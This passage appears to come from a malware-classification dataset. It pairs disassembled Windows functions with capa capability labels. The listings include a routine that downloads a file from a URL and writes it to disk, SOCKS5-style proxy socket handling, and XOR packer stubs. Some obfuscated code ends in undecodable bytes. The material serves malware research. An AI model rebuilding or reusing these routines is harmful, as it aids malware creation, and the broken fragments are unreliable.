joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40b2f0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x41c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32_LoadLibraryA]
push edi
push 0x4191bc
push 0x4191b0
call esi
mov edi, dword [sym.imp.KERNEL32_GetProcAddress]
push eax
call edi
push str.InternetOpenUrlA
push 0x4191b0
mov ebx, eax
call esi
push eax
call edi
push 0x419188
push 0x4191b0
mov dword [esp + 0x18], eax
call esi
push eax
call edi
push 0x419174
push 0x4191b0
mov dword [esp + 0x30], eax
call esi
push eax
call edi
mov esi, dword [sym.imp.KERNEL32_lstrlenA]
mov dword [esp + 0x24], eax
xor eax, eax
push str.lla_4.0__compatible_
mov dword [esp + 0x18], eax
mov dword [esp + 0x24], eax
mov eax, 1
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], eax
call esi
push str.mozi
mov edi, eax
call esi
lea eax, [edi + eax + 1]
push eax
call sub.MSVCRT_void____cdecl_operator_new_unsigned_int_
mov edx, eax
mov edi, str.mozi
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov edi, str.lla_4.0__compatible_
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push eax
push eax
push edx
call ebx
mov esi, eax
test esi, esi
jne 0x40b3f2
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x41c
ret
mov ecx, dword [esp + 0x430]
push 0
push accept
push 0
push 0
push ecx
push esi
call dword [esp + 0x28]
mov ebp, eax
test ebp, ebp
jne 0x40b41d
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x41c
ret
mov edx, dword [esp + 0x434]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push edx
call dword [sym.imp.KERNEL32_CreateFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
je 0x40b4af
mov ebx, dword [esp + 0x1c]
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x2c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x14]
lea ecx, [esp + 0x2c]
push eax
push 0x400
push ecx
push ebp
call dword [esp + 0x38]
test ebx, ebx
je 0x40b475
cmp word [esp + 0x2c], 0x5a4d
jne 0x40b49c
mov eax, dword [esp + 0x14]
xor ebx, ebx
lea edx, [esp + 0x20]
push ebx
push edx
mov edx, dword [esp + 0x18]
lea ecx, [esp + 0x34]
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32_WriteFile]
mov eax, dword [esp + 0x14]
test eax, eax
jbe 0x40b4a4
jmp 0x40b447
mov dword [esp + 0x18], 0
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32_CloseHandle]
mov edi, dword [esp + 0x24]
push ebp
call edi
push esi
call edi
mov ecx, dword [esp + 0x18]
xor eax, eax
pop edi
pop esi
test ecx, ecx
pop ebp
pop ebx
setne al
add esp, 0x41c
ret
Function at 0x4131f0
Capabilities:
Send data
Send data on socket
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
push ebp
pop ebp
nop
nop
inc ecx
dec ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc ecx
dec ecx
nop
inc ecx
dec ecx
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x10b]
mov byte [ebp - 0x10c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor esi, esi
push 0x41ac10
stosb byte es:[edi], al
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32_EnterCriticalSection]
mov edi, dword [0x41af7c]
push 0x41ac10
inc edi
mov dword [0x41af7c], edi
call dword [sym.imp.KERNEL32_LeaveCriticalSection]
mov edi, dword [ebp + 0x10]
lea eax, [ebp - 8]
push eax
push edi
mov dword [ebp - 8], esi
call fcn.004130b0
add esp, 8
cmp eax, esi
je 0x4133bc
mov ebx, dword [ebp + 8]
cmp eax, 1
je 0x4132ea
cmp eax, 2
je 0x4132ea
cmp eax, 3
je 0x4132ea
cmp eax, 4
jne 0x41335b
mov eax, dword [ebp - 8]
lea ecx, [ebp - 4]
push ecx
mov ecx, dword [ebp + 0x14]
lea edx, [ebp - 0x10c]
sub ecx, eax
push edx
add eax, edi
push ecx
push eax
call section..ujyhkuy
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x10c]
push edx
lea ecx, [ebx + 4]
push eax
push ecx
call fcn.004138e0
add esp, 0x1c
test eax, eax
je 0x4133bc
mov edi, str.HTTP_1.0_200_OK_r_n_r_n
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [ebx]
repne scasb al, byte es:[edi]
not ecx
push esi
push ecx
push str.HTTP_1.0_200_OK_r_n_r_n
push edx
call dword [sym.imp.WS2_32_Ordinal_19]
jmp 0x41335b
mov eax, dword [ebp - 8]
mov esi, dword [ebp + 0x14]
mov ecx, dword [ebp + 0xc]
push eax
push esi
push edi
push ecx
call fcn.00413150
add esp, 0x10
mov dword [ebp + 0x14], eax
test eax, eax
je 0x4133bc
lea edx, [ebp - 4]
lea eax, [ebp - 0x10c]
push edx
push eax
mov eax, dword [ebp - 8]
sub esi, eax
sub esi, 7
lea ecx, [eax + edi + 7]
push esi
push ecx
call section..ujyhkuy
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x10c]
lea esi, [ebx + 4]
push edx
push eax
push esi
call fcn.004138e0
add esp, 0x1c
test eax, eax
je 0x4133bc
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp + 0xc]
mov eax, dword [esi]
push 0
push ecx
push edx
push eax
call dword [sym.imp.WS2_32_Ordinal_19]
cmp eax, 0xffffffff
je 0x4133bc
cmp dword [ebx], 0
je 0x4133bc
mov eax, dword [ebx + 4]
test eax, eax
je 0x4133bc
mov edi, dword [sym.imp.KERNEL32_LoadLibraryA]
push 0x418098
push 0x418010
call edi
push eax
call dword [sym.imp.KERNEL32_GetProcAddress]
lea ecx, [ebp - 0xc]
push ecx
push 0
push ebx
push 0x414410
push 0
push 0
call eax
mov esi, eax
test esi, esi
je 0x4133b0
push 0x418058
push 0x4180e8
call edi
push eax
call dword [sym.imp.KERNEL32_GetProcAddress]
push 0xffffffffffffffff
push esi
call eax
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4133d0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov al, byte [ebx]
mov byte [ebp - 2], 5
cmp al, 5
mov byte [ebp - 1], 0
je 0x4133f9
pop edi
pop esi
and eax, 0xff
pop ebx
mov esp, ebp
pop ebp
ret
mov al, byte [ebx + 2]
lea esi, [ebx + 2]
test al, al
je 0x413410
cmp al, 2
je 0x413410
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, 0x41ac7c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push eax
neg ecx
sbb cl, cl
lea eax, [ebp - 2]
and ecx, 2
push 2
mov byte [ebp - 1], cl
mov ecx, dword [ebp + 8]
push eax
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32_Ordinal_19]
cmp eax, 0xffffffff
jne 0x41344a
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
cmp byte [ebp - 1], 2
jne 0x4135a7
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x104]
push eax
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [ebp - 0x204]
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
push 0x5000
push ebx
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32_Ordinal_16]
cmp eax, 0xffffffff
je 0x41359e
test eax, eax
je 0x41359e
cmp byte [ebx], 1
je 0x4134ad
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov al, byte [ebx + 1]
test al, al
je 0x4134d6
and eax, 0xff
cmp eax, 0x100
jg 0x4134d6
mov ecx, eax
lea edi, [ebp - 0x104]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor eax, eax
mov al, byte [ebx + 1]
add eax, ebx
movsx ecx, byte [eax + 2]
test ecx, ecx
je 0x41350f
cmp ecx, 0x100
jg 0x41350f
mov edx, ecx
lea esi, [eax + 3]
lea edi, [ebp - 0x204]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea esi, [ebp - 0x104]
mov eax, 0x41ac7c
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x41353e
test cl, cl
je 0x41353a
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x41353e
add eax, 2
add esi, 2
test cl, cl
jne 0x41351a
xor eax, eax
jmp 0x413543
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x413584
lea esi, [ebp - 0x204]
mov eax, 0x41ad7c
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x413576
test cl, cl
je 0x413572
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x413576
add eax, 2
add esi, 2
test cl, cl
jne 0x413552
xor eax, eax
jmp 0x41357b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x413584
mov byte [ebx + 1], al
jmp 0x413588
mov byte [ebx + 1], 0xff
mov eax, dword [ebp + 8]
push 0
push 2
push ebx
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32_Ordinal_19]
cmp eax, 0xffffffff
jne 0x4135a7
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4135c0
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x18
push 0x41ac00
call dword [sym.imp.WS2_32_Ordinal_52]
test eax, eax
mov dword [esp + 4], eax
je 0x413674
push ebx
mov ebx, dword [esp + 0x20]
push ebp
push esi
push edi
mov dword [esp + 0x10], 0
mov ecx, dword [eax + 0xc]
mov edx, dword [esp + 0x10]
cmp dword [ecx + edx], 0
je 0x41367c
xor edx, edx
mov byte [ebx], 0
cmp word [eax + 0xa], dx
jle 0x41366a
test edx, edx
jle 0x413634
mov edi, 0x418384
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x14]
mov ecx, ebp
and ecx, 3
inc edx
rep movsb byte es:[edi], byte [esi]
movsx ecx, word [eax + 0xa]
cmp edx, ecx
jl 0x413606
add dword [esp + 0x10], 4
jmp 0x4135ea
mov eax, dword [esp + 0x1c]
add esp, 0x18
ret
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret

Function at 0x413690
Capabilities:
Resolve dns

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.WS2_32_Ordinal_52]
test eax, eax
jne 0x4136a0
ret
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
push eax
call dword [sym.imp.WS2_32_Ordinal_12]
ret

Function at 0x4138e0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
sub esp, 0x10
mov ecx, dword [esp + 0x1c]
xor eax, eax
mov dword [esp], eax
push esi
mov dword [esp + 8], eax
push edi
mov dword [esp + 0x10], eax
push ecx
mov dword [esp + 0x18], eax
mov word [esp + 0xc], 2
call dword [sym.imp.WS2_32_Ordinal_9]
mov esi, dword [esp + 0x20]
mov edi, dword [sym.imp.WS2_32_Ordinal_11]
push esi
mov word [esp + 0xe], ax
call edi
cmp eax, 0xffffffff
push esi
jne 0x413937
call fcn.00413690
add esp, 4
test eax, eax
je 0x413992
push esi
call fcn.00413690
add esp, 4
push eax
call edi
push 6
push 1
push 2
mov dword [esp + 0x18], eax
call dword [sym.imp.WS2_32_Ordinal_23]
mov esi, dword [esp + 0x1c]
cmp eax, 0xffffffff
mov dword [esi], eax
je 0x413992
lea edx, [esp + 0x24]
push 4
push edx
push 0x1006
push 0xffff
push eax
mov dword [esp + 0x38], 0x258
call dword [sym.imp.WS2_32_Ordinal_21]
mov ecx, dword [esi]
lea eax, [esp + 8]
push 0x10
push eax
push ecx
call dword [sym.imp.WS2_32_Ordinal_4]
cmp eax, 0xffffffff
jne 0x41399a
mov edx, dword [esi]
push edx
call dword [sym.imp.WS2_32_Ordinal_3]
pop edi
xor eax, eax
pop esi
add esp, 0x10
ret
pop edi
mov eax, 1
pop esi
add esp, 0x10
ret
Function at 0x4139b0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0x10]
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0x10]
push ebx
push esi
push edi
call fcn.004133d0
add esp, 0xc
test eax, eax
je 0x413a57
cmp eax, 4
jne 0x4139f8
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
push eax
push ecx
push 2
push ebx
push esi
call fcn.004136b0
add esp, 0x14
neg eax
sbb eax, eax
pop edi
pop esi
and eax, 4
pop ebx
ret
mov edx, dword [edi]
push 0
push 0x5000
push esi
push edx
call dword [sym.imp.WS2_32_Ordinal_16]
cmp eax, 0xffffffff
je 0x413a57
test eax, eax
je 0x413a57
cmp byte [esi], 5
jne 0x413a57
mov cl, byte [esi + 3]
cmp cl, 1
je 0x413a24
cmp cl, 3
jne 0x413a57
mov edx, dword [esp + 0x20]
and ecx, 0xff
push edx
mov edx, dword [esp + 0x20]
push edx
push ecx
push eax
push esi
call fcn.004136b0
add esp, 0x14
test eax, eax
je 0x413a57
mov al, byte [esi + 1]
cmp al, 1
je 0x413a4e
cmp al, 3
jne 0x413a57
pop edi
pop esi
and eax, 0xff
pop ebx
ret
pop edi
pop esi
xor eax, eax
pop ebx
ret

Function at 0x413a60
Capabilities:
Create udp socket
Get socket information

Disassembly:
sub esp, 0x124
xor eax, eax
push esi
mov dword [esp + 8], eax
push 0x11
mov dword [esp + 0x10], eax
push 2
mov dword [esp + 0x18], eax
push 2
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], 0x10
mov word [esp + 0x24], 2
mov dword [esp + 0x28], eax
mov word [esp + 0x26], ax
call dword [sym.imp.WS2_32_Ordinal_23]
mov esi, eax
cmp esi, 0xffffffff
jne 0x413aae
xor eax, eax
pop esi
add esp, 0x124
ret
lea ecx, [esp + 0x18]
push 0x10
push ecx
push esi
call dword [sym.imp.WS2_32_Ordinal_2]
cmp eax, 0xffffffff
jne 0x413acb
xor eax, eax
pop esi
add esp, 0x124
ret
mov edx, dword [esp + 0x130]
lea eax, [esp + 4]
lea ecx, [esp + 8]
push eax
push ecx
push esi
mov dword [edx], esi
call dword [sym.imp.WS2_32_Ordinal_6]
lea edx, [esp + 0x28]
push edx
call fcn.004135c0
add esp, 4
push eax
call dword [sym.imp.WS2_32_Ordinal_11]
mov ecx, dword [esp + 0x12c]
pop esi
mov dword [ecx + 4], eax
mov ax, word [esp + 6]
mov word [ecx + 8], ax
mov eax, 1
add esp, 0x124
ret
Function at 0x413e70
Capabilities:
Create tcp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1ac
lea eax, [ebp - 0x1ac]
push esi
push eax
push 0x202
call dword [sym.imp.WS2_32_Ordinal_115]
test eax, eax
jne 0x413f95
push 6
push 1
push 2
call dword [sym.imp.WS2_32_Ordinal_23]
mov esi, eax
cmp esi, 0xffffffff
mov dword [ebp - 0x1c], esi
je 0x413f95
mov dx, word [0x41ac08]
xor ecx, ecx
mov dword [ebp - 0x12], ecx
push edx
mov dword [ebp - 0xe], ecx
mov word [ebp - 0x14], 2
mov dword [ebp - 0xa], ecx
mov word [ebp - 6], cx
call dword [sym.imp.WS2_32_Ordinal_9]
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x14]
push 0x10
push eax
push esi
mov dword [ebp - 0x10], 0
call dword [sym.imp.WS2_32_Ordinal_2]
cmp eax, 0xffffffff
je 0x413f95
push ebx
push edi
push 0x32
push esi
call dword [sym.imp.WS2_32_Ordinal_13]
cmp eax, 0xffffffff
jne 0x413f0b
pop edi
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov edi, dword [sym.imp.KERNEL32_LoadLibraryA]
push 0x418098
push 0x418010
call edi
mov ebx, dword [sym.imp.KERNEL32_GetProcAddress]
push eax
call ebx
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x1c]
push 0
push 0
push ecx
call dword [sym.imp.WS2_32_Ordinal_1]
push 8
mov esi, eax
call dword [sym.imp.MSVCRT_malloc]
add esp, 4
test eax, eax
je 0x413f29
lea edx, [ebp - 4]
mov dword [eax], esi
push edx
push 0
push eax
push 0x413b20
push 0
push 0
call dword [ebp - 0x18]
mov esi, eax
test esi, esi
jne 0x413f7b
push 0x418124
push 0x4180e8
call edi
push eax
call ebx
push 0x3e8
call eax
jmp 0x413f29
nop
nop
nop
nop
nop
nop
push 0x418818
push 0x418010
call edi
push eax
call ebx
push esi
call eax
jmp 0x413f29
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x414140
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [esp + 0x18]
push edi
xor edi, edi
test esi, esi
jle 0x41417b
mov ebx, dword [esp + 0x24]
mov ebp, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
push ebx
push ebp
push 0
lea ecx, [edi + eax]
push esi
push ecx
push edx
call dword [sym.imp.WS2_32_Ordinal_20]
cmp eax, 0xffffffff
je 0x414182
sub esi, eax
add edi, eax
test esi, esi
jg 0x414156
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret

Function at 0x414c10
Capabilities:
Terminate thread

Disassembly:
push ebx
mov ebx, ecx
push edi
xor edi, edi
mov eax, dword [ebx + 0x9e50]
mov dword [ebx], 0x415374
test eax, eax
jbe 0x414c54
push ebp
mov ebp, dword [sym.imp.KERNEL32_TerminateThread]
push esi
lea esi, [ebx + 0x210]
mov eax, dword [esi]
push 0xffffffffffffffff
push eax
call ebp
mov ecx, dword [esi]
push ecx
call dword [sym.imp.KERNEL32_CloseHandle]
mov eax, dword [ebx + 0x9e50]
inc edi
add esi, 4
cmp edi, eax
jb 0x414c34
pop esi
pop ebp
mov ecx, ebx
call fcn.00406aa0
pop edi
pop ebx
ret
Function at 0x40c4e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push dword [ebp + 0xc]
call fcn.0040c4a7
push 0xc
push dword [ebp + 8]
lea eax, [ebp - 0xc]
push eax
call fcn.00408ca3
xor esi, esi
lea edx, [ebp + esi - 0xc]
call fcn.0040c42d
xor byte [edx], al
movzx eax, byte [edx]
push eax
call fcn.0040c44d
inc esi
cmp esi, 0xc
jl 0x40c4ff
movzx ax, byte [ebp - 1]
movzx ecx, ax
mov eax, dword [0x410550]
test byte [eax + 0x28], 2
movzx eax, byte [0x4205bf]
jne 0x40c53a
movzx eax, byte [0x4205c7]
movzx ecx, cx
cmp ecx, eax
je 0x40c546
or eax, 0xffffffff
jmp 0x40c58b
mov ecx, dword [0x420568]
mov eax, ecx
cdq
cmp edx, dword [0x40f924]
push edi
jl 0x40c568
mov edx, dword [0x40f920]
jg 0x40c564
cmp eax, edx
jbe 0x40c568
mov edi, edx
jmp 0x40c56a
mov edi, ecx
mov esi, dword [0x420560]
jmp 0x40c584
dec edi
call fcn.0040c42d
xor byte [esi], al
movzx eax, byte [esi]
push eax
call fcn.0040c44d
inc esi
test edi, edi
jne 0x40c572
xor eax, eax
pop edi
pop esi
leave
ret 8

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
nop
push 4
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x431072
nop
mov ebx, 0x40915c
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x3b8c6e1e
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x431060
nop
nop
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
je 0x4310d2
nop
nop
nop
nop
mov ebx, 0x42f3f8
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x36b57a13
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4310c0
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43100c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x431030
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43101e
nop
nop
nop
nop
nop
nop
popal
jmp loc.00401219

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x393d4ec8
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x432024
mov eax, section..data
nop
mov ebx, 0x42f314
nop
nop
mov ecx, 0x281820a2
test eax, eax
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x1003c3bc
Capabilities:
Get number of processors
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebx
push edi
add esp, 4
call fcn.1003c3cd
add byte [esi], bh
inc edi
dec ebp
xor cl, byte [ebx + 0x45]
Function at 0x1003f700
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push edi
add edi, 0x4452
or edi, 0x14e0b
pop edi
mov dword [ebp - 0x2088], 0xffffffff
push ebx
jmp 0x1003f720
pop ebx
push eax
push edx
add esp, 4
and eax, 0xd9a
or eax, 0xbcd6
jmp 0x1003f73a
call 0x1003f746
add byte [ebx], bh
inc edx
dec ecx
cmp byte [esi], dh
inc ecx
add esp, 4
pop eax
mov ecx, dword [ebp - 0x74c]
mov dword [ebp - 0x4fc], ecx
jmp 0x1003f767
push esi
or esi, 0xf4bc
and esi, 0x80ad
pop esi
push edi
push esi
add esp, 4
add edi, 0xee21
and esi, ebp
add byte [eax], al
call 0x1003f78f
add byte [eax + 0x4b], dl
inc edi
inc edx
cmp dword [eax + 0x47], eax
dec esp
dec edx
add esp, 4
and edi, 0x301f
pop edi
mov eax, dword [ebp - 0x4fc]
sub eax, dword [ebp - 0x74c]
cmp eax, 0xffffffff
jb 0x1003f7e1
push ebx
push edx
add esp, 4
or ebx, 0x4f09
and ebx, 0x119cd
add ebx, 0x6e49
jmp 0x1003f7c7
pop ebx
push ecx
push edi
add esp, 4
and ecx, 0xc628
pop ecx
push eax
xor eax, 0x17c33
pop eax
jmp 0x1003fa0f
mov dword [ebp - 0xc80], 7
mov ecx, dword [ebp - 0x4fc]
mov dword [ebp - 0xa60], ecx
push eax
jmp 0x1003f801
pop eax
push edi
sub edi, 0x1585a
add dword [eax], eax
sub edi, 0x8eae
call 0x1003f81f
add byte [edi + 0x34], cl
inc edx
dec ebx
cmp eax, 0x354f4f43
inc ebx
add esp, 4
sub edi, 0x580e
pop edi
mov edx, dword [ebp - 0x15bc]
mov dword [ebp - 0xac0], edx
mov dword [ebp - 0xc84], 0
mov eax, dword [ebp - 0x4fc]
cmp eax, dword [ebp - 0x15bc]
jne 0x1003f890
push esi
add esi, 0xff3f
add esi, 0x90b3
xor esi, 0xeac4
pop esi
push ebx
push esi
add esp, 4
sub ebx, 0x1029b
sub ebx, 0x16ff8
add ebx, 0xefc
or ebx, 0x10268
pop ebx
mov ecx, dword [ebp - 0xc84]
mov dword [ebp - 0x15c4], ecx
jmp 0x1003f9c1
cmp dword [ebp - 0xc80], 0
jle 0x1003f9b5
push edx
xor edx, 0x5178
or edx, 0x1686a
or edx, 0x70ae
sub edx, 0x10757
pop edx
push eax
push ebx
invalid
invalid
Function at 0x1003f746
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push edi
add edi, 0x4452
or edi, 0x14e0b
pop edi
mov dword [ebp - 0x2088], 0xffffffff
push ebx
jmp 0x1003f720
pop ebx
push eax
push edx
add esp, 4
and eax, 0xd9a
or eax, 0xbcd6
jmp 0x1003f73a
call 0x1003f746
add byte [ebx], bh
inc edx
dec ecx
cmp byte [esi], dh
inc ecx
add esp, 4
pop eax
mov ecx, dword [ebp - 0x74c]
mov dword [ebp - 0x4fc], ecx
jmp 0x1003f767
push esi
or esi, 0xf4bc
and esi, 0x80ad
pop esi
push edi
push esi
add esp, 4
add edi, 0xee21
and esi, ebp
add byte [eax], al
call 0x1003f78f
add byte [eax + 0x4b], dl
inc edi
inc edx
cmp dword [eax + 0x47], eax
dec esp
dec edx
add esp, 4
and edi, 0x301f
pop edi
mov eax, dword [ebp - 0x4fc]
sub eax, dword [ebp - 0x74c]
cmp eax, 0xffffffff
jb 0x1003f7e1
push ebx
push edx
add esp, 4
or ebx, 0x4f09
and ebx, 0x119cd
add ebx, 0x6e49
jmp 0x1003f7c7
pop ebx
push ecx
push edi
add esp, 4
and ecx, 0xc628
pop ecx
push eax
xor eax, 0x17c33
pop eax
jmp 0x1003fa0f
mov dword [ebp - 0xc80], 7
mov ecx, dword [ebp - 0x4fc]
mov dword [ebp - 0xa60], ecx
push eax
jmp 0x1003f801
pop eax
push edi
sub edi, 0x1585a
add dword [eax], eax
sub edi, 0x8eae
call 0x1003f81f
add byte [edi + 0x34], cl
inc edx
dec ebx
cmp eax, 0x354f4f43
inc ebx
add esp, 4
sub edi, 0x580e
pop edi
mov edx, dword [ebp - 0x15bc]
mov dword [ebp - 0xac0], edx
mov dword [ebp - 0xc84], 0
mov eax, dword [ebp - 0x4fc]
cmp eax, dword [ebp - 0x15bc]
jne 0x1003f890
push esi
add esi, 0xff3f
add esi, 0x90b3
xor esi, 0xeac4
pop esi
push ebx
push esi
add esp, 4
sub ebx, 0x1029b
sub ebx, 0x16ff8
add ebx, 0xefc
or ebx, 0x10268
pop ebx
mov ecx, dword [ebp - 0xc84]
mov dword [ebp - 0x15c4], ecx
jmp 0x1003f9c1
cmp dword [ebp - 0xc80], 0
jle 0x1003f9b5
push edx
xor edx, 0x5178
or edx, 0x1686a
or edx, 0x70ae
sub edx, 0x10757
pop edx
push eax
push ebx
invalid
invalid

Function at 0x1003f77c
